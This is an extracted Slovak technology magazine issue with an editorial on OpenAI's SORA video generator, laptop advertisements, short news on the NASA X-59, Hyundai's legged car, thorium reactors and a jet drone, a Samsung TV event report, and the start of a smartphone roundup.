




Počítačovej grafike som sa venoval už od strednej. Bavila ma 
najmä 3D grafika, animácie a špeciálne efekty. Dobre si pamä-

tám, ako dlho mi v 3D Studio Max trvalo renderovanie animácie 
hoci aj jednoduchej scény. Počítač bežal zapnutý celú noc a hneď 
ako prvú vec ráno som skontroloval výsledok, aby som zistil, že 
musím trochu upraviť polohu svetiel, objektov či pohyb kamery. 
A dať to celé znovu prerenderovať. Toto sa opakovalo dokola a 
dokola, až kým som sa nedopracoval k ako-tak použiteľnému vý-
sledku. Teraz sa také jednoduché scény renderujú v reálnom čase v 
podstatne väčšom rozlíšení, s väčšou zložitosťou detailov a s mož-
nosťou simulovať aj zložité fyzikálne javy, ako je oheň či tornádo. 

Výkon počítačov a sofistikovanosť modelovacích a animačných 
nástrojov za tie roky raketovo vzrástla a umožnila generovať ex-
trémne realistické animácie, ale stále to nebolo ono. Rozdiel oproti 
realite bolo vidno najmä pri animácii ľudí a osobitne pri ľudskej 
tvári. Najmä na očiach a mimike úst bolo stále vidno, že sú stu-
dené a umelo neprirodzené. Minulé leto som mal trochu voľnejšie, 
a tak som mal čas preskúmať, čo sa v tejto oblasti pohlo ďalej, a bol 
som prekvapený dosiahnutým pokrokom. Experimentoval som s 
Metahumans od Unreal Engine a nástrojom na FaceRig od Ziva 
Dynamics, ktoré vedia aj v reálnom čase generovať naozaj veľmi 
realistické animácie pohybu človeka a osobitne mimiky hovoriacej 
hlavy. Podobných nástrojov už dnes existuje viacero, ale stále si 
vyžadujú značný objem ľudskej práce. 

Pred pár dňami som videl ukážkové videá generované pomocou 
nového nástroja SORA a padla mi sánka. Doslova. Nemá zmysel 
opisovať hyperrealizmus týchto videí, choďte na YTB a pozrite si 
ich. Jasné, keď hľadáte, nájdete tam drobné chybičky v tieňoch či 
odrazoch, ale to sú všetko detaily, ktoré sa časom vychytajú. Čo je 
však hlavné, tieto videá vznikli ako výstup z modelu generatív-
nej AI typu text-to-video. Teda iba na základe textového promptu 
s opisom scény vám AI vygeneruje video bez potreby čokoľvek 
programovať, modelovať, rozpohybovať, renderovať a upravovať 
v postprodukcii. Takýchto nástrojov je už viacero, ale tá kvalita 
reality, ktorú generuje SORA, je fakt šokujúca.

SORA je najnovší produkt z dielne OpenAI, áno, tej spoločnosti, 
ktorá stojí za ChatGPT. Zatiaľ nie je verejne dostupná, ale keď 
bude, zatrasie to celým filmovým a video priemyslom. Už nebude 
treba vyrábať produkčne zložité scény alebo cestovať na Nový Zé-
land za dych berúcou prírodou. Nebude treba zamestnávať hercov, 
dablérov, kameramanov, osvetľovačov, strihačov, animátorov, gra-

fikov, tvorcov špeciálnych efektov atď. Na všetko bude stačiť len 
správne naformulovaný prompt. A každý bude môcť byť holly-
woodskym producentom aj režisérom v jednej osobe. Rozhodovať 
budú nápaditosť a fantázia. 

Ovplyvní to aj youtuberov, tvorcov počítačových hier, tvorcov 
VR, reklamné agentúry, jednoducho všetkých, ktorí sa motajú 
okolo videoprodukcie. 

Ovplyvní to influencerov, ktorým už teraz začína biznis na IG 
kaziť virtuálna konkurencia. Zatiaľ iba v podobe statických ob-
rázkov, ale to sa evidentne čoskoro zmení. Virtuálny „influencer“ 
bude môcť generovať taký atraktívny content a v takom objeme, 
že mu nebude môcť konkurovať ani jeden „živý“ influencer. A čo 
viac, bude ho môcť na požiadanie personalizovať na každého jed-
ného diváka, resp. klienta, ktorý si za to zaplatí. Niečo ako budúca 
verzia OnlyFans a podobných stránok s ešte chúlostivejším obsa-
hom. Tomu sa nebude dať konkurovať.  

Keby sa takýto nástroj dostal naozaj na trh, prevalcuje trh práce, 
poznamená osobné financie aj štátnu ekonomiku a prerozdelí 
veľkú časť bohatstva medzi úplne nových hráčov. Dôsledky budú 
extrémne. Otázkou zostáva, či možno regulovať technologický po-
krok tak, aby sa ľudia, firmy aj celé krajiny dokázali pripraviť na 
zmeny, ktoré môže spôsobiť. Som v tomto smere dosť skeptický, 
keďže schopnosť našej adaptability na zmeny má skôr lineárny 
charakter a technologický pokrok, naopak, exponenciálny. A nož-
nice medzi týmito dvoma krivkami sú asi práve v tom inflexnom 
bode, od ktorého sa budú už len viac a viac od seba vzďaľovať. 
Viem si predstaviť, že by sa v rámci EÚ zaviedli drakonické ochra-
nárske opatrenia, aby sa to zamedzilo alebo aspoň spomalilo, ale v 
USA prevláda mantra slobodného trhu, ktorý by mal sám o všet-
kom rozhodnúť a všetko vyriešiť. 

Sam Altman, CEO spoločnosti OpenAI, aktuálne zháňa 7 bilió-
nov dolárov na výrobu AI čipov. To nie je preklep (v americkej 
angličtine to je 7 triliónov dolárov), čo je taká extrémna suma, že 
sa nad ňou pozastavujú všetci kľúčoví hráči IT biznisu. Za takúto 
sumu by si podľa IDC mohol 40-krát kúpiť kapacitu všetkých dá-
tových centier v USA. To je len na ilustráciu toho, že OpenAI asi 
neplánuje čakať so založenými rukami na nejaké povolenia, ale na-
opak, pripravuje sa na expanziu. 

No bude to ešte rozhodne napínavé, držím nám palce.

Zaujímavé čítanie nového vydania vám praje

SORA to tu prevalcuje 

EDITORIAL  
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KVALITNÝ NOTEBOOK 
PRE FIRMU AJ DOMÁCNOSŤ

DELL VOSTRO 5635

Tenký a ľahký notebook s veľkou 16-palcovou obrazovkou, vysokým výkonom 
a kvalitným zabezpečením je výbornou voľbou pre firemné prostredie i domác-

nosť. Osemjadrový procesor AMD Ryzen 7 7730U s rýchlou 8 GB operačnou pa-
mäťou LPDDR4x zabezpečí dostatok výkonu na spracovanie kapacitne náročných 
aplikácií. S rýchlym 512 GB M.2 SSD diskom bude štart laptopu trvať len okamih. 
Full HD+ (1 920 × 1 200) 16-palcový WVA displej s tenkými rámikmi má široké 
pozorovacie uhly, farebný gamut 45 % NTSC a jas 250 nitov. Funkcia Dell Comfort-
View znižuje vyžarovanie škodlivého modrého svetla bez zhoršenia kvality farieb. 
Nová kamera s Full HD (1 080p) rozlíšením vybavená technológiou Wide Dynamic 
Range ponúka obraz s ostrými detailmi. SmartByte softvér prideľuje vyššiu sieťovú 
prioritu videokonferenciám, takže hovory prebiehajú v špičkovej kvalite. Dokonalý, 
krištáľovo čistý a profesionálne vyladený zvuk sprostredkuje technológia Waves 
MaxxAudio. Notebook bol podrobený 15 vojenským testom MIL-810H a vykazuje 
vysokú odolnosť pri hmotnosti iba 1,9 kg, čo oceníte pri používaní na cestách. 
Bezpečnostný čip TPM 2.0 šifruje uložené heslá, overuje, či nedošlo k neautorizo-
vanému zásahu do počítača a zabraňuje softvérovým útokom.

ELEGANTNÝ KOMPAKTNÝ NOTEBOOK 
NA KAŽDÚ PRÍLEŽITOSŤ  

PARAMETRE A ŠPECIFIKÁCIA:

DELL LATITUDE 3440

Potrebný výkon dodá laptopu procesor Intel i5 13. generácie Raptor Lake s podporou 
16 GB operačnej pamäte. Kvalitný 14-palcový Full HD WVA displej v antireflexnej 

úprave s jasom 220 nitov a 45 % farebnou škálou NTSC sprostredkuje ostrý obraz so 
žiarivými farbami. Ukladajte svoje dáta na rýchly 512 GB disk SSD. Pri práci za zhor-
šených svetelných podmienok oceníte podsvietenú klávesnicu. Súčasťou dodávky je 
nástroj Dell Optimizer, ktorý umožní vyladiť notebook tak, aby sa prispôsoboval vášmu 
pracovnému štýlu. So softvérom postaveným na umelej inteligencii a strojovom učení 
získate nástroj na zvýšenie produktivitu celého počítačového systému. Vysokú úroveň 
audiokonferencií zaistí monitorovanie kvality hlasu a inteligentné odstránenie šumu a 
ozveny.  Periférne zariadenie pripojíte pohodlne prostredníctvom 4 USB portov, z toho 
jedným USB-C s podporou DisplayPortu a napájania. Na pripojenie televízora, alebo 
externého monitora je k dispozícii konektor HDMI. Pre bezdrôtovú komunikáciu využije-
te najrýchlejší WiFi 6E (802.11ax) a Bluetooth. Spoľahnúť sa môžete aj na skvelú výdrž 
3-článkovej batérie s funkciou rýchlonabíjania ExpressCharge.

Potrebný výkon dodá laptopu procesor Intel i5 13. generácie Raptor Lake s podporou 
16 GB operačnej pamäte. Kvalitný 14-palcový Full HD WVA displej v antireflexnej 

 Úložisko typu SSD, kapacita 
512 GB (0,51 TB)

 Veľkosť operačnej pamäte RAM 
16 GB DDR4

 Modelové označenie procesora Intel 
Core i5 1335U Raptor Lake

 Frekvencia procesora 1,3 GHz 
(1 300 MHz)

 Počet jadier procesora 10 ×
 Core Boost Frekvencia 4,6 GHz 

(4 600 MHz)
 Uhlopriečka displeja 14"
 Maximálne rozlíšenie 1920 × 1080 px
 Výbava Podsvietená klávesnica, 

Čítačka odtlačkov prstov, Operačný 
systém, Windows Hello

PARAMETRE A ŠPECIFIKÁCIA:

 AMD Ryzen 7 7730U

 16" WVA antireflexný 1920 × 1200

 RAM 16GB LPDDR4X

 AMD Radeon Graphics

 SSD 512GB

 numerická klávesnica

 webkamera

 USB 3.2 Gen 1, USB-C

 čítačka odtlačkov prstov

 WiFi 6 

 hmotnosť 1,9 kg

 Windows 11 Pro

Teraz v predaji



Nedávno bolo v Palmdale v Kalifornii 
verejnosti odhalené jedinečné experi-

mentálne lietadlo s názvom X-59, vyvinuté 
v spolupráci NASA a Lockheed Martin. Ele-
gantné lietadlo v tvare natiahnutého hrotu 
šípu sa vyvíja v Lockheed Martin Skunk Works 
už niekoľko rokov a od roku 2018 ho financuje 
NASA. Predstavuje významný krok k opätov-

nému zavedeniu nadzvukovej civilnej letec-
kej dopravy.

Očakáva sa, že „tiché nadzvukové“ lietadlo, 
ktoré meria 30,4 metra na dĺžku a o niečo 
menej ako 9 metrov na šírku, bude lietať 
rýchlosťou 1,4-násobku rýchlosti zvuku (1488 
km/h) bez generovania sonického tresku. 
Jeho jedinečný tvar, pozostávajúci z tenkého, 

zúženého nosa, ktorý tvorí takmer tretinu 
celkovej dĺžky lietadla, pomáha rozptyľovať 
rázové vlny spôsobujúce sonický tresk.

Ďalší zaujímavý dizajnový prvok X-59 je 
umiestnenie kokpitu, ktorý sa nachádza 
takmer v strede lietadla a nemá ani okná 
smerujúce dopredu. Namiesto toho má X-59 
kamerový systém s vysokým rozlíšením a ob-
razovku v kokpite, na ktorej piloti ovládajú 
lietadlo. 

Komerčné nadzvukové lety nad súšou sú 
zakázané už niekoľko desaťročí. Preukázaním 
možnosti tichého komerčného nadzvuko-
vého cestovania by sa otvorili nové možnosti. 
Prvý let X-59 sa očakáva koncom tohto roka, 
po ňom bude nasledovať jeho prvý tichý nad-
zvukový let.

NASA uviedla, že po dokončení svojich 
testovacích letov X-59 preletí nad niekoľkými 
mestami po celých Spojených štátoch, aby sa 
získala spätná väzba verejnosti o zvuku, ktorý 
generuje. Údaje budú odovzdané americkým 
a medzinárodným regulačným orgánom v 
nádeji, že sa tento zákaz zruší. X-59 je expe-
rimentálne lietadlo, ktoré môže pomôcť for-
movať budúcnosť civilnej leteckej dopravy a 
aj vojenských lietadiel.	                              

NOVÉ NADZVUKOVÉ LIETADLO NASA POLETÍ 
TAK RÝCHLO, ŽE NEMÔŽE MAŤ ANI ČELNÉ SKLO

Centrum inovácií Hyundai CRADLE 
v spolupráci so spoločnosťou Sun-

dberg-Ferar predstavilo Elevate, elek-
tromobil vybavený robotickými nohami. 
Cieľom tohto inovatívneho projektu je vy-
tvoriť vozidlá Ultimate Mobility Vehicles 
(UMV), ktoré budú podľa vízie spoločnosti 
schopné chodiť po nohách, jazdiť ako 
bežné autá a pohybovať sa aj v náročných 
terénoch. Vizionársky koncept s názvom 
Elevate bol predstavený na veľtrhu spo
trebnej elektroniky CES 2024.

Inovatívne vozidlo, ktoré sa označuje 
ako „chodiace auto“, obsahuje komplexné 
viackĺbové „nohy“ inšpirované biomecha-
nikou nôh kobylky. Tieto nohy umožňujú 
autu stúpať po schodoch, zdvihnúť sa nad 
tečúcu vodu a dokonca aj preskakovať 
medzery. John Suh, viceprezident Hyun-
dai, zdôraznil potenciálny vplyv na ľudí so 
zdravotným postihnutím na celom svete.

Vozidlo by mohlo prísť až k vchodo-
vým dverám a umožnilo by osobe v inva-
lidnom vozíku bez problémov nastúpiť. 
Okrem toho by Elevate mohol zohrávať 
významnú úlohu pri prieskume vidieka, 

výstavbe alebo odstraňovaní následkov 
katastrof tým, že umožní záchranným 
tímom prístup do oblastí, kde sú poško-
dené cesty.

Hyundai zdôrazňuje myšlienku, že slo-
boda mobility by sa mala považovať za 

univerzálne právo. Pritom niektorí jednot-
livci narážajú na ťažkosti aj pri základných 
fyzických pohyboch. Preto spoločnosť 
aktívne vyvíja aj nositeľné exoskelety 
H-MEX. Toto robotické zdravotnícke za-
riadenie sa ukazuje ako sľubné riešenie 
mobility pre tých, ktorí zápasia s porane-
niami chrbtice alebo svalovými problé-
mami.				         

HYUNDAI PREDSTAVIL INOVATÍVNE VOZIDLO  
S ROBOTICKÝMI „NOHAMI“
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V posledných rokoch vlády v celej Európe 
vynakladajú obrovské finančné prostriedky 

na nové jadrové elektrárne a veľa startupov 
intenzívne pracuje na menších, modulárnych 
alternatívach. Väčšina týchto elektrární sa spo-
lieha na urán, ale švajčiarsky startup Transmutex 
so sídlom v Ženeve, ktorý úzko spolupracuje s 
CERN-om, chce jadrovú energiu získavať pomo-
cou menej známeho prvku s názvom tórium.

Tórium je kov podobný olovu, ktorý je mierne 
reaktívny, ale štyrikrát hojnejší ako urán a oveľa 
bezpečnejší na manipuláciu. No nie je to štiepny 
materiál, čo znamená, že nemôže podliehať štie-
peniu atómových jadier, pri ktorom sa uvoľňuje 
energia používaná na výrobu elektriny. V bež-

nej jadrovej elektrárni vzniká teplo pri zrážke 
neutrónov so štiepnym materiálom, ako je 
urán. Pri štiepení atómov sa uvoľňuje energia 
a ďalšie neutróny, čím vzniká reťazová reakcia, 
vďaka ktorej je jadrová elektráreň sebestačná.

Pri tomto procese však vzniká veľké množ-
stvo plutóniového odpadu, ktorý sa rozpadá 
až 300 000 rokov a je veľmi ťažké ho bezpečne 
skladovať. Ak sa dostane do nesprávnych rúk, 
môže sa použiť aj na výrobu špinavých ató-
mových bômb. Riešenie spoločnosti Transmu-
tex spočíva v použití tória namiesto uránu a 
jeho kombinácii s urýchľovačom častíc, ktorý 
neustále privádza neutróny do atómov tória, 
čím vzniká štiepna reakcia.

To znamená, že na rozdiel od tradičných 
reaktorov elektráreň nie je schopná udržať 
reťazovú reakciu. Po vypnutí urýchľovača 
častíc sa tok neutrónov preruší a reaktor sa 
okamžite vypne. Táto funkcia by zabránila 
smrteľným haváriám, akou bola havária čer-
nobyľskej elektrárne v roku 1986. Čas rádio-
aktívneho rozpadu tória je len 300 rokov v 
porovnaní so spomínanými 300 000 rokmi 
v prípade uránu.

A podľa Transmutexu by systém produko-
val oveľa menšie množstvo tohto nebezpeč-
ného odpadu. Elektráreň by takisto mohla 
opätovne využiť existujúci rádioaktívny 
odpad. Americký rizikový fond Union Square 
Ventures investoval do tohto švajčiarskeho 
startupu 23 miliónov USD. Transmutex po-
užije nové finančné prostriedky na rozšíre-
nie svojho tímu, pričom chce naplánovať a 
postaviť svoj prvý závod do dvoch až troch 
rokov.

Spoločnosť uviedla, že v súčasnosti konzul-
tuje so „špičkovými vládnymi inštitúciami“ na 
celom svete s cieľom preskúmať možnosť vy-
tvorenia medzinárodnej koalície na urýchlenie 
vývoja svojho prvého jadrového reaktora. Hoci 
sú tóriové reaktory len v začiatkoch, záujem o 
ich potenciál sa zvyšuje na celom svete. Čína 
už postavila experimentálny tóriový reaktor v 
meste Wuwei na okraji púšte Gobi. Aj ďalšie 
krajiny vrátane USA, Nemecka, Holandska a 
Spojeného kráľovstva testovali tórium ako 
palivo v iných typoch jadrových reakcií.  

	       

TÓRIUM BY MOHLO BYŤ KĽÚČOM  
K ÚPLNE BEZPEČNEJ JADROVEJ ENERGII

Spoločnosť WaveAerospace so sídlom v 
Connecticute ohlásila „najrýchlejšie viacro-

torové bezpilotné lietadlo na svete“. Huntress 
II Turbojet je kvadrokoptéra s prúdovou tur-
bínou uprostred, schopná dosiahnuť vysoké 
rýchlosti a umožňujúca prevádzku za každého 
počasia. Dron meria diagonálne od rotora k 
rotoru 4 metre, má hmotnosť približne 50 kg 
závislosti od množstva leteckého paliva, ktoré 
nesie, a jeho maximálna vzletová hmotnosť je 
165 kg, takže v prípade potreby dokáže uniesť 
značný náklad v piatich úložných priestoroch 
a až štyroch externe namontovaných kontaj-
neroch. Je navrhnutý tak, aby bol pripravený 
na misiu za menej ako 90 sekúnd a aby sa dal 
rýchlo nasadiť, či už pri vypustení z pevniny, 
alebo z mora, prípadne pri vysadení z lietadla 
vo výške až 6000 m. Výdrž je až dve hodiny a 
operátori môžu sledovať živý obraz a zároveň 

ovládať lietadlo až do vzdialenosti 30 km.  Keď 
je dron vo vzduchu, môže sa buď vznášať a lie-
tať ako kvadrokoptéra, alebo môžete naštarto-
vať prúdovú turbínu a pustiť ho do vzduchu v 
konfigurácii typu „tailsitter“, hoci nie je jasné, 
ako sa bude riadiť ako prúdové lietadlo – či po-
mocou riadiacich plôch na ramenách rotora, 
alebo vektorovaním ťahu prúdového motora. 
Spoločnosť WaveAerospace neuvádza otáčky 
ani výkon prúdového motora, ale tvrdí, že bez 
problémov dosiahne rýchlosť Mach 0,4 (483 
km/h).

Táto maximálna rýchlosť je elektronicky ob-
medzená a spoločnosť tvrdí, že sa časom bude 
zaoberať uvoľnením tohto obmedzenia, aby 
dron mohol letieť „oveľa rýchlejšie“. Dôležité 
pre mnohé potenciálne aplikácie je, že bude 
lietať v takmer akýchkoľvek poveternostných 
podmienkach, a to až po búrku sily 10 s rých-

losťou vetra do 117 km/h a pri 
teplotách od -34 do 54 °C. 
Ak je na štartovacej rampe 
veľmi veterno, spoločnosť po-
užíva reverzný ťah, aby sa dron 
pevne udržal až do štartu.  A pre 
koho je teda Huntress určený? Je 
zrejmé, že ho využije najmä ar-
máda, ale spoločnosť WaveAero-
space ho ponúka aj na pátracie a 
záchranné akcie, kritickú 
logistiku, vysoko-
r ý c h l o s t n ý 
prieskum a 
iné operácie 
mimo vizuálnej vi-
diteľnosti. Spoločnosť 
WaveAerospace už prijíma 
predbežné objednávky, 
pričom sa očakáva, že 
dodávky sa začnú ešte 
v tomto roku.                 


HYBRIDNÝ DRON HUNTRESS DOKÁŽE LETIEŤ  
RÝCHLOSŤOU AŽ 483 KM/H A AJ POČAS BÚRKY
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Ľahký notebook novej generácie ThinkPad X1 Fold 16 sa mení 
spolu s vami počas celého dňa. Vysoko výkonné procesory 
v spojení so systémom Windows 11 Pro poskytujú dostatok 
výkonu na zvládnutie akejkoľvek úlohy, ktorá sa počas dňa 
vyskytne. Z dôvodu veľmi nízkej počiatočnej hmotnosti 
a celodennej výdrži batérie si budete chcieť vziať X1 Fold 16 všade 
so sebou. Vďaka veľkému 16,3” displeju ho môžete vo voliteľnom 
režime pripojiť ku klávesnici alebo ho sklopiť a získať dva displeje 
vedľa seba. Notebook. Tablet. Kniha. Noviny. Poznámkový blok. 
Zábavné centrum. Čokoľvek chcete.

Jedno zariadenie, 
mnoho spôsobov 
použitia

Zabezpečte si každú príležitosť.

Fold 16



Nás vo Frankfurte najviac zaujal nový mo-
delový rad televízorov na rok 2024 a treba 

povedať, že s inováciami Samsung rozhodne 
nešetril. 

V najvyšších modeloch televízorov Neo 
QLED 8K 2024 spoločnosť predstavila doteraz 
svoj najvyspelejší procesor s označením NQ8 
AI Gen3. Ten má jednotku neurónového spra-
covania (NPU), ktorá je dvakrát rýchlejšia ako 
jej predchodca, pričom sa osemnásobne zvýšil 
počet neurónových sietí zo 64 až na 512. To 
má zásadný vplyv na kvalitu upscalingu z niž-
ších rozlíšení, ale aj na celý proces spracovania 
obrazu. Nové televízory tak ponúkajú niekoľko 
zásadných technológií ako:

 8K AI Upscaling Pro: Využíva NQ8 AI 
Gen3 na zlepšené zväčšovanie na 8K, zlepšuje 
nízke rozlíšenie obsahu tak, aby bol zobrazený 
v ultravysokom rozlíšení bez rôznych artefak-
tov a skreslenia. Procesor si poradí aj s takými 
náročnými detailmi, ako je rekonštrukcia vlasov 
alebo správne zobrazenie jemných šikmých 
línií, na ktorých si väčšina upscalerov vyláme 
zuby. 

  AI Motion Enhancer Pro: Rieši časté 
problémy pri zobrazení v športovom obsahu, 
ako je napríklad deformácia lopty či puku a 
podobne. Funkcia automaticky deteguje typ 
športu a používa algoritmy hlbokého učenia 
na aplikáciu správneho modelu detekcie lopty. 
Ukážka tejto funkcie bola veľmi pôsobivá. Zatiaľ 
čo pri minuloročnom modeli so starším proce-
sorom dochádzalo k nekorektnému zobrazeniu 
pohybu loptičky, ktorá bola v niekoľkých sním-

kach vynechaná, nový procesor si s pohybom 
poradil bez jedinej chybičky. 

  Real Depth Enhancer Pro: Pridáva 
detaily do rýchlo sa pohybujúcich scén po-
mocou AI na presné ovládanie mini LED. De-
tekciou časti scény, na ktorú by sa ľudské oko 
prirodzene sústredilo, a jej privedením do po-
predia obrazy vyzerajú reálnejšie. 

 Infinity Air Design: Dopĺňa kvalitu ob-
razu Neo QLED 8K s obrazovkou, ktorá má 
hĺbku iba 12,9 mm, čo umožňuje pohlcujúci 
zážitok zo sledovania, ktorý sa zameriava na 
vysoké rozlíšenie a vynikajúcu kvalitu zvuku. 
Ponúka aj efekt zrkadla, v ktorom televízor vy-
zerá, akoby plával vo svojom okolí.

Výkon Neo QLED 8K je doplnený o zvukový 
diel, ktorý zodpovedá kvalite obrazu 8K na 
obrazovke.

 2024 Q-Symphony: Umožňuje použí-
vateľom pripojiť viacero bezdrôtových re-
produktorov a soundbar k televízoru alebo 
projektoru na synchronizáciu zvuku naprieč 
šou, filmami a playlistmi. Je to technológia, 
ktorá bezproblémovo synchronizuje televí-
zor s bezdrôtovými reproduktormi a sound
barom. Pri pripojení ďalších reproduktorov si 
môžete zvoliť ich polohu vzhľadom na televí-
zor, aby rozmiestnenie zvukového poľa bolo 
presné.  

 Active Voice Amplifier Pro: Vlastný zo-
silňovač dialógov AI, ktorý využíva exkluzívnu 
technológiu hlbokého učenia na zlepšenie 
dialógov a hlasov na obrazovke. Oddeľuje 
hlasy od zmiešaného zvuku, zlepšuje vstup 

hlasu, aby používatelia mohli sledovať konver-
záciu na obrazovke pri rôznych hlasitostiach.

OS Tizen na rok 2024 zjednodušuje 
domáce televízne zážitky
Nová verzia OS Tizen prináša obsah do popre-
dia v modeloch Neo QLED 8K. Ponúka persona-
lizovaný zážitok z obsahu a služieb na základe 
až 6 rôznych účtov nastavených na TV. Teraz 
si môžu členovia domácností s inteligentným 
televízorom Samsung nastaviť profil na per-
sonalizované odporúčania a prispôsobenejší 
zážitok.

 Samsung TV Plus: Aktualizované použí-
vateľské rozhranie (UI) zahŕňa novú domovskú 
obrazovku s prehľadom dostupného obsahu, 
s pridanými kategóriami na rýchlejšie objavo-
vanie obsahu. Služba sa takisto pripojí k účtom 
Samsung, aby ľahko pristupovala k obľúbeným 
kanálom a obsahu používateľov a ponúkala 
prispôsobené odporúčania obsahu na základe 
histórie sledovania. 

Najnovšie televízory Samsung na rok 2024 
majú takisto väčšiu kompatibilitu s rôznymi 
zariadeniami v rámci ekosystému, čo umož-
ňuje hlbšie prepojenie medzi televízormi a 
smartfónmi alebo nositeľnými zariadeniami 
na väčšiu úroveň prispôsobenia, dostupnosti 
a pohodlia.

 Mobile Smart Connect: Všetky nové apli-
kácie a služby sú ľahko ovládateľné pomocou 
doplnku SmartThings Mobile, ktorý premení 
smartfón na multifunkčný diaľkový ovládač, 
ktorý používateľom poskytuje väčšiu kontrolu 

NOVÉ TELEVÍZORY A AI, KAM SA POZRIETE
Akcia World of Samsung vo Frankfurte nad Mohanom sa tentoraz niesla v znamení umelej inteligencie. 

Jej integrácia naprieč kategóriami produktov od vysávačov cez chladničky, práčky až po smartfóny  
a televízory je veľmi zaujímavá a ponúka úplne nové možnosti využitia týchto zariadení. 

REPORTÁŽ: WORLD OF SAMSUNG
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nad ich obrazovkami. S jednoduchým vyskako-
vacím rozhraním a prispôsobiteľným používateľ-
ským rozhraním poskytuje aplikácia pohodlie a 
zlepšenú dostupnosť. 

 360 Audio: Audio funkcia, ktorá sa predtým 
ponúkala v zariadeniach Galaxy, sa rozširuje na 
televízory a obrazovky Samsung. Teraz sa slú-
chadlá Samsung Galaxy Buds bezproblémovo 
pripájajú k televízorom, aby poskytovali priesto-
rový zvuk pre filmy, relácie a dokonca aj herné 
tituly, takže používatelia môžu byť ponorení do 
vizuálneho obsahu a hry. 

 Vibrary: Užívajte si niektoré z vašich ob-
ľúbených umeleckých diel vo vysokej kvalite 
na veľkej obrazovke vášho televízora. V režime 
Ambient Mode vás môžu privítať diela vášho ob-
ľúbeného umelca. Môžete si tiež užívať fotogra-
fie a hudbu z televízora a mobilných zariadení 
prostredníctvom funkcie Casting, čo posky-
tuje plynulý zážitok z pozerania. Pre českých a 
slovenských používateľov Samsung v blízkej 
budúcnosti pripravuje špecializovaný off-line 
obsah. Podrobnosti však výrobca zatiaľ nezve-
rejnil. 

 Zvukové titulky: Táto funkcia televízora 
využíva AI a technológiu optického rozpozná-
vania znakov (OCR) na poskytovanie hlasového 
sprievodu pre vložené titulky v reálnom čase. 
Pozrieť sme si však mohli aj demonštráciu funk-
cie automatického dabingu, keď televízor rozpo-
znáva reč, preloží ju do titulkov v požadovanom 
jazyku a tie číta. Je to veľmi zaujímavá funkcia, 
ktorá je vo fáze vývoja, ale dúfame, že sa čoskoro 
dostane do používania. 

Samozrejme, veľmi zaujímavé boli 
aj ďalšie produkty
Na výstave CES v Las Vegas Samsung ukázal 
novým transparentným MICRO LED, že existujú 
nové možnosti pre zobrazovače. Túto technoló-
giu sme však vo Frankfurte nevideli, vystavený 
bol iba zobrazovač The Wall pracujúci s klasic-
kou technológiou Micro LED. Ten patrí v súčas-
nosti k špičke v zobrazovacích technológiách. 

Vidieť sme však mohli takmer celú ponuku 
televízorov OLED Samsung na rok 2024, ktoré 
stavajú na odkaze modelov z minulého roka, 
pričom model S95D ponúka veľký displej s uh-
lopriečkou až 77 palcov. Displej je o 20 % jas-
nejší ako predchádzajúce modely, s hlbokou a 
bohatou čiernou a presnosťou farieb zlepšenou 
AI, ktorá je certifikovaná Pantone. Samsung 
predstavil aj modely S90D a S85D v rôznych 
veľkostiach, pričom pribudli dve uhlo-
priečky – 42" a 83".

Veľmi pozoruhodná je nová tech-
nológia OLED Glare Free, špeciálne 
navrhnutá pre obrazovky OLED z 

roku 2024. Ide o špeciálnu antireflexnú vrstvu, 
ktorá zabraňuje odleskom a zachováva pres-
nosť farieb. Obrazovka S95D zaujme divákov 
pokročilými algoritmami spracovania obrazu, 
ktoré zachovávajú jasné biele, hlbšie čierne a 
pohlcujúce farby. Okrem toho, že je to doteraz 
najjasnejšia obrazovka OLED Samsungu, dispo-

nuje aj vysokými obnovovacími frekvenciami 
až do 144 Hz, takže fanúšikovia športu 
a hráči si môžu užívať plynulý pohyb 
a čistú akciu na svojich obrazovkách.  
Vo zvukových zariadeniach je najväč-
šou novinkou Music Frame. Tento pri-

spôsobiteľný reproduktor je kompatibilný so 
SmartThings a poskytuje priestorový zvuk, keď 
je spárovaný s televízormi a soundbarmi Sam-
sung. Hudobný rámček môže fungovať buď 
ako samostatný bezdrôtový reproduktor, alebo 
sa spárovať s televízorom a soundbarom Sam-
sung prostredníctvom Q-Symphony na zvýšenie 
basov a priestorového zvuku. Bezproblémovo sa 
integruje do svojho prostredia tým, že sa mas-
kuje vo vnútri moderných obrazových rámov, 
Music Frame poskytuje kvalitný zvuk bez toho, 
aby bol na očiach. 

»  RENÉ HUBINSKÝ 
FOTO: ARCHÍV AUTORA
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  Nový rad televízorov OLED S95D je unikátny matným povrchom, ktorý je pri OLED použitý po prvýkrát

  Music Frame je nový bezdrôtový stereo reproduktor, ktorý možno prevádzkovať samostatne alebo zapojiť  
do zostavy domáceho kina s technológiou Q-Symphony 

  Modernizácie sa dočkal aj celý rad obľúbených lifestylových televízorov



Napriek tomu, že dizajnové a konštrukčné zlepšenia smartfónov aj 
možnosti fotografovania a filmovania začínajú postupne kulminovať, 

nové modely aj v tomto ohľade stále dokážu prekvapiť. Prehľad noviniek 
uvádzame v abecednom poradí a z produktových rodín predstavujeme 
vlajkové modely.

Honor Magic6 Pro
Honor predstavil nielen nový smartfón Magic6 Pro a notebook Magic-
Book Pro 16, ale aj filozofiu využitia umelej inteligencie naprieč operač-
nými systémami. Qualcomm Snapdragon 8 Gen 3 je zárukou vysokého 
výpočtového aj grafického výkonu. AI funkcie využívajú Qualcomm AI 
Engine. GPU zároveň poskytuje výnimočné herné zážitky. Smartfón má 
6,8-palcový displej s rozlíšením 1280 × 2800 pixelov, jasom 1600 nitov, v 
špičke dokonca 5000 nitov, a obnovovacou frekvenciou 120 Hz.

Zaujímavá je aj fotografická výbava. Snímač s najvyšším rozlíšením 180 
megapixelov pri tomto smartfóne nemá hlavný fotoaparát, ale fotoaparát 
s periskopickým teleobjektívom (f/2,6, OIS) s 2,5× optickým zoomom. Vy-
soké rozlíšenie umožnilo implementovať 10× digitálne priblíženie. Hlavný 
aj ultraširokouhlý fotoaparát majú snímače s rozlíšením 50 megapixelov. 

Ďalšia vychytávka je možnosť 
nastavenia clony objektívu 
hlavného fotoaparátu. Mô-
žete si zvoliť clonu f/1,4 a f/2. 
Zdanlivo v tom nie je veľký 
rozdiel, ale treba si uvedomiť, 
že zmena o jedno clonové 
číslo znamená polovičnú plo-
chu otvoru. Vyššia clona zna-
mená vyššiu hĺbku ostrosti a 
takisto môžete použiť dlhší 
expozičný čas, napríklad na 
pohybovú neostrosť pri fotení 
tečúcej vody. 

Honor Magic6 Pro má in-
tegrovaný jazykový model 
LlaMA, ktorý je schopný vy-
konávať funkcie ako otázky a 
odpovede, vytváranie textu 

alebo čítanie s porozumením v offline prostredí. Magic Portal využíva AI 
